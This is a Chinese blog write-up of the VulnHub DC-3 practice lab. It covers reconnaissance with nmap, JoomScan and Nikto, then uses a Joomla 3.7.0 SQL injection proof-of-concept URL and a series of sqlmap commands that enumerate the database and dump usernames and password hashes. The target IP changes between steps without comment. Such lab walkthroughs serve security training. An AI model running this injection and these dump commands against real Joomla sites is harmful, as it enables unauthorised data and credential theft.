DC-3靶场详细步骤

爱吃土豆丝的小熊

已于 2024-09-30 21:07:50 修改

阅读量523

点赞数 21

文章标签： ci/cd

于 2024-09-30 21:06:28 首次发布

本文链接：https://blog.csdn.net/2401_87576128/article/details/142662493

版权

环境搭建：

1.靶场描述DC-3是另一个专门建立的易受攻击的实验室，旨在获得渗透测试领域的经验。与之前的DC版本一样，这个版本是为初学者设计的，尽管这一次只有一个标志，一个入口点，根本没有线索。必须具备Linux技能并熟悉Linux命令行，还必须具有使用基本渗透测试工具的经验。对于初学者来说，谷歌可以提供很大的帮助，但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案，相反，我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说，这可能不会花你很长时间(事实上，它可能只需要不到20分钟)。如果是这种情况，如果你想让它更具挑战性，你可以重做挑战，探索其他获得根和获得旗帜的方法。

下载靶场环境

2.靶场下载地址：

https://www.vulnhub.com/entry/dc-32,312/

渗透靶场

目标：目标就是我们搭建的靶场，靶场IP为：192.168.186.0/24

信息收集：寻找靶机真实IP

nmap -sP 192.168.186.0/24

我们可以找到本机的IP地址为192.168.186.131

信息收集：探端口及服务

nmap -A -p- -v 192.168.66.142

-A 综合性扫描

-v 冗余模式。强烈推荐使用这个选项，它会给出扫描过程中的详细信息

我们发信了开放的端口是80端口，存在web服务器，Apache/2.4.18，CMS为Joomla

使用虚拟机的火狐浏览器在搜索栏中搜索192.168.186.131

他告诉我们这次DC-3实战只有一个目标获得root权限

利用JoomScan进行扫描获取后台地址

由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla，我们可以采用joomscan进行扫描，如果我们不知道是joomla，我们可以采用目录扫描或者nikto等扫描工具进行扫描。发现更多的信息。

JoomScan简介

OWASPJoomla！漏洞扫描器（JoomScan）是一个开源项目，其主要目的是实现漏洞检测的自动化，以增强Joomla CMS开发的安全性。该工具基于Perl开发，能够轻松无缝地对各种Joomla项目进行漏洞扫描，其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞，而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外，OWASP JoomScan使用起来非常简单，不仅提供了非常友好的用户界面，而且还能够以HTML或文本格式导出扫描报告。

joomScan扫描

joomscan --url http://192.168.66.142 提示没有joomscan 选择y安装

扫描结果如下知道了joomla cms版本为3.7.0

得到了网站后台地址http://192.168.186.131/administrator/

利用nikto扫描获取后台地址

Nikto简介 Nikto是一个开源的WEB扫描评估软件，可以对Web服务器进行多项安全测试，能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。

Nikto简单使用

常规扫描nikto -host/-h http://127.0.0.1nikto -h http://127.0.0.1

可以指定端口进行扫描，同样可以指定SSL协议，进行HTTPS扫描

查看插件信息nikto -list-plugins

批量扫描nikto -host list.txt

查看更详细的帮助信息nikto -H man nikto

Nikto扫描

我们前面已经知道了CMS是joomla，并且知道了后台地址，针对于这一个靶场这一步没有任何意义，这里只是提供一个思路，目录扫描，这里就不拓展了。

nikto --url http://192.168.186.131/

搜索漏洞信息

根据前面信息收集内容，采用的cms和版本信息，进行漏洞搜索，是否有可以用的漏洞。

查找漏洞发现存在SQL注入

我们前面知道了CMS为joomla，版本为3.7.0使用searchsploit检查到有对应的漏洞

searchsploit joomla 3.7.0

我们发现有一个SQL注入，还存在一个XSS

我们可以看一下这个漏洞的提示信息

searchsploit -m 42033.txt

这里我们可以看到信息提示

我们看到了POC，我们验证一下，把localhost修改为我们的靶机IP就ok

http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

看到提示，数据库语句错误，说明进行了拼接，存在SQL注入

sqlmap跑出数据

跑出所有数据库

sqlmap -u

"http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch（引号里面的内容要在虚拟机里面的火狐搜索）

扫描结果成功把数据库跑出来了。

获取当前数据库的名字joomladb

sqlmap-u

"http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3 --level=5 --random-agent -p list[fullordering] --current-db -batch

获取当前数据库的表名

sqlmap-u

"http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3 -p list[fullordering] -D "joomladb" --tables --batch

从这里可以看出这张表的名字叫#_users

获取joomladb的users表的字段名

sqlmap -u

"http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

第一个选项，直接回车使用默认的Y

第二个选项，使用Y，不要使用默认的，不然会出错

第三个选项都可以

第四个选项使用10线程

最后跑出来了六个字段

获取目标字段username和password

sqlmap -u

"http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch

结果就是拿到一个用户名和加密的密码